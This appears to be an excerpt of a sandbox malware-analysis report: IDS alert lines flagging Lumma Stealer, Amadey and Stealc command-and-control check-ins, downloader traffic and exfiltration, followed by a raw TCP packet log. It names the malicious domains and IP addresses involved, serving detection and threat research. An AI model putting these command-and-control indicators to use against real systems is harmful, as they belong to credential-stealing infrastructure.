2024-11-07T06:01:27.477112+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	52304	1.1.1.1	53	UDP
2024-11-07T06:01:27.503101+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	53551	1.1.1.1	53	UDP
2024-11-07T06:01:27.528191+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	58636	1.1.1.1	53	UDP
2024-11-07T06:01:27.976024+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	49901	104.21.5.155	443	TCP
2024-11-07T06:01:27.976024+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49901	104.21.5.155	443	TCP
2024-11-07T06:01:28.180854+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	49903	104.21.5.155	443	TCP
2024-11-07T06:01:28.180854+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49903	104.21.5.155	443	TCP
2024-11-07T06:01:29.173318+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49903	104.21.5.155	443	TCP
2024-11-07T06:01:29.173318+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49903	104.21.5.155	443	TCP
2024-11-07T06:01:30.040037+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	49917	104.21.5.155	443	TCP
2024-11-07T06:01:30.040037+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49917	104.21.5.155	443	TCP
2024-11-07T06:01:30.511143+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49917	104.21.5.155	443	TCP
2024-11-07T06:01:30.511143+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49917	104.21.5.155	443	TCP
2024-11-07T06:01:32.316394+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	49932	104.21.5.155	443	TCP
2024-11-07T06:01:32.316394+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49932	104.21.5.155	443	TCP
2024-11-07T06:01:32.433009+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49931	185.215.113.43	80	TCP
2024-11-07T06:01:33.001000+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	49939	104.21.5.155	443	TCP
2024-11-07T06:01:33.001000+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49939	104.21.5.155	443	TCP
2024-11-07T06:01:33.715815+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49939	104.21.5.155	443	TCP
2024-11-07T06:01:33.886619+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	49948	104.21.5.155	443	TCP
2024-11-07T06:01:33.886619+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49948	104.21.5.155	443	TCP
2024-11-07T06:01:35.452646+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	49961	104.21.5.155	443	TCP
2024-11-07T06:01:35.452646+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49961	104.21.5.155	443	TCP
2024-11-07T06:01:38.210587+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	49976	104.21.5.155	443	TCP
2024-11-07T06:01:38.210587+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49976	104.21.5.155	443	TCP
2024-11-07T06:01:40.808230+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	49993	104.21.5.155	443	TCP
2024-11-07T06:01:40.808230+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49993	104.21.5.155	443	TCP
2024-11-07T06:01:41.000758+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49964	185.215.113.206	80	TCP
2024-11-07T06:01:42.378907+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49964	185.215.113.206	80	TCP
2024-11-07T06:01:43.024301+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49964	185.215.113.206	80	TCP
2024-11-07T06:01:43.256861+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	50010	104.21.5.155	443	TCP
2024-11-07T06:01:43.256861+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50010	104.21.5.155	443	TCP
2024-11-07T06:01:43.487981+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49964	185.215.113.206	80	TCP
2024-11-07T06:01:43.909241+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50010	104.21.5.155	443	TCP
2024-11-07T06:01:44.493880+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49964	185.215.113.206	80	TCP
2024-11-07T06:01:45.034677+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49964	185.215.113.206	80	TCP
2024-11-07T06:01:49.825932+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	50046	185.215.113.16	80	TCP
2024-11-07T06:01:51.006486+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	58237	1.1.1.1	53	UDP
2024-11-07T06:01:51.044713+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	60803	1.1.1.1	53	UDP
2024-11-07T06:01:51.114469+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	64345	1.1.1.1	53	UDP
2024-11-07T06:01:51.180898+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	50521	1.1.1.1	53	UDP
2024-11-07T06:01:51.208020+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	61016	1.1.1.1	53	UDP
2024-11-07T06:01:51.926317+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	50059	104.21.5.155	443	TCP
2024-11-07T06:01:51.926317+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50059	104.21.5.155	443	TCP
2024-11-07T06:01:52.137550+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50059	104.21.5.155	443	TCP
2024-11-07T06:01:52.137550+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50059	104.21.5.155	443	TCP
2024-11-07T06:01:54.026835+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	50061	104.21.5.155	443	TCP
2024-11-07T06:01:54.026835+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50061	104.21.5.155	443	TCP
2024-11-07T06:01:54.395602+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50061	104.21.5.155	443	TCP
2024-11-07T06:01:54.395602+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50061	104.21.5.155	443	TCP
2024-11-07T06:01:56.044212+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	50062	104.21.5.155	443	TCP
2024-11-07T06:01:56.044212+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50062	104.21.5.155	443	TCP
2024-11-07T06:01:57.571595+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50064	185.215.113.206	80	TCP
2024-11-07T06:01:57.893036+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	50065	104.21.5.155	443	TCP
2024-11-07T06:01:57.893036+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50065	104.21.5.155	443	TCP
2024-11-07T06:01:59.664578+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	50067	104.21.5.155	443	TCP
2024-11-07T06:01:59.664578+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50067	104.21.5.155	443	TCP
2024-11-07T06:02:02.416922+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	50069	104.21.5.155	443	TCP
2024-11-07T06:02:02.416922+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50069	104.21.5.155	443	TCP
2024-11-07T06:02:03.132464+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50069	104.21.5.155	443	TCP
2024-11-07T06:02:05.335224+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	50072	104.21.5.155	443	TCP
2024-11-07T06:02:05.335224+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50072	104.21.5.155	443	TCP
2024-11-07T06:02:05.906323+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50071	185.215.113.206	80	TCP
2024-11-07T06:02:07.835717+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.4	50074	104.21.5.155	443	TCP
2024-11-07T06:02:07.835717+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50074	104.21.5.155	443	TCP
2024-11-07T06:02:08.303153+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50074	104.21.5.155	443	TCP
2024-11-07T06:02:14.706493+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50077	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2024 06:00:04.796976089 CET	49675	443	192.168.2.4	173.222.162.32
Nov 7, 2024 06:00:18.037882090 CET	49730	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:18.037904024 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:18.041212082 CET	49730	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:18.043004990 CET	49730	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:18.043023109 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:18.899751902 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:18.899872065 CET	49730	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:18.903615952 CET	49730	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:18.903625011 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:18.903860092 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:18.953233957 CET	49730	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:19.783376932 CET	49730	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:19.831341982 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:20.065011024 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:20.065038919 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:20.065045118 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:20.065073013 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:20.065092087 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:20.065099955 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:20.065114975 CET	49730	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:20.065143108 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:20.065165043 CET	49730	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:20.065184116 CET	49730	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:20.065886021 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:20.065947056 CET	49730	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:20.065953016 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:20.065985918 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:20.067773104 CET	49730	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:21.088803053 CET	49730	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:21.088821888 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:21.088835955 CET	49730	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:21.088843107 CET	443	49730	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:22.600251913 CET	49723	80	192.168.2.4	199.232.214.172
Nov 7, 2024 06:00:22.605499983 CET	80	49723	199.232.214.172	192.168.2.4
Nov 7, 2024 06:00:22.605551004 CET	49723	80	192.168.2.4	199.232.214.172
Nov 7, 2024 06:00:57.397171021 CET	49736	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:57.397201061 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:57.397263050 CET	49736	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:57.397625923 CET	49736	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:57.397640944 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:58.241650105 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:58.241853952 CET	49736	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:58.252007008 CET	49736	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:58.252027988 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:58.252243042 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:58.260447979 CET	49736	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:58.307332039 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:58.544164896 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:58.544188976 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:58.544203043 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:58.544269085 CET	49736	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:58.544281960 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:58.544332027 CET	49736	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:58.545382977 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:58.545418024 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:58.545449018 CET	49736	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:58.545455933 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:58.545473099 CET	49736	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:58.545993090 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:58.546041012 CET	49736	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:58.550832987 CET	49736	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:58.550843954 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:58.550863028 CET	49736	443	192.168.2.4	20.12.23.50
Nov 7, 2024 06:00:58.550868988 CET	443	49736	20.12.23.50	192.168.2.4
Nov 7, 2024 06:00:58.586265087 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:58.586297989 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:58.586359978 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:58.586612940 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:58.586620092 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.326328993 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.326431990 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.328077078 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.328082085 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.328301907 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.338644981 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.383332968 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.564102888 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.564126015 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.564192057 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.564207077 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.564224958 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.564250946 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.564270973 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.585903883 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.585920095 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.585998058 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.586003065 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.589912891 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.684664965 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.684680939 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.684777975 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.684783936 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.684819937 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.705821037 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.705833912 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.705909014 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.705914021 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.707665920 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.707685947 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.707722902 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.707727909 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.707768917 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.709856033 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.749284029 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.749300957 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.749377012 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.749382973 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.749885082 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.802350044 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.802369118 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.802429914 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.802436113 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.802476883 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.822477102 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.822494030 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.822602987 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.822612047 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.823117971 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.823822975 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.823837996 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.823915005 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.823919058 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.823934078 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.823956966 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.825136900 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.825149059 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.825212002 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.825216055 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.825978041 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.826119900 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.826133013 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.826178074 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.826181889 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.827780008 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.827796936 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.827857018 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.827862024 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.830235004 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.920057058 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.920100927 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.920130014 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.920136929 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.920176983 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.920682907 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.920732975 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.920737028 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.920789003 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.920808077 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.920821905 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.920841932 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.920847893 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.920861006 CET	49737	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.920862913 CET	443	49737	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.977888107 CET	49738	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.977910042 CET	443	49738	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.977967978 CET	49738	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.979605913 CET	49739	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.979629993 CET	443	49739	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.979681015 CET	49739	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.980377913 CET	49740	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.980401993 CET	443	49740	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.980456114 CET	49740	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.983540058 CET	49741	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.983563900 CET	443	49741	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.983617067 CET	49741	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.984569073 CET	49741	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.984580994 CET	443	49741	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.984729052 CET	49738	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.984745026 CET	443	49738	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.984827042 CET	49739	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.984836102 CET	443	49739	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.985042095 CET	49740	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.985058069 CET	443	49740	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.986124992 CET	49742	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.986133099 CET	443	49742	13.107.246.45	192.168.2.4
Nov 7, 2024 06:00:59.986335039 CET	49742	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.986679077 CET	49742	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:00:59.986690044 CET	443	49742	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.712430000 CET	443	49741	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.712819099 CET	443	49740	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.723856926 CET	443	49739	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.724107981 CET	49740	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.724138975 CET	443	49740	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.724323034 CET	49741	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.724363089 CET	443	49741	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.724809885 CET	49740	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.724816084 CET	443	49740	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.725050926 CET	49741	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.725055933 CET	443	49741	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.725385904 CET	49739	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.725409985 CET	443	49739	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.725756884 CET	49739	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.725764990 CET	443	49739	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.743818998 CET	443	49738	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.744137049 CET	49738	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.744158030 CET	443	49738	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.744641066 CET	49738	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.744647026 CET	443	49738	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.750022888 CET	443	49742	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.750646114 CET	49742	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.750663042 CET	443	49742	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.751055956 CET	49742	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.751060963 CET	443	49742	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.849806070 CET	443	49741	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.849826097 CET	443	49741	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.849867105 CET	443	49741	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.849889040 CET	49741	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.849931002 CET	49741	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:00.850900888 CET	443	49740	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:00.850924969 CET	443	49740	13.107.246.45	192.168.2.4
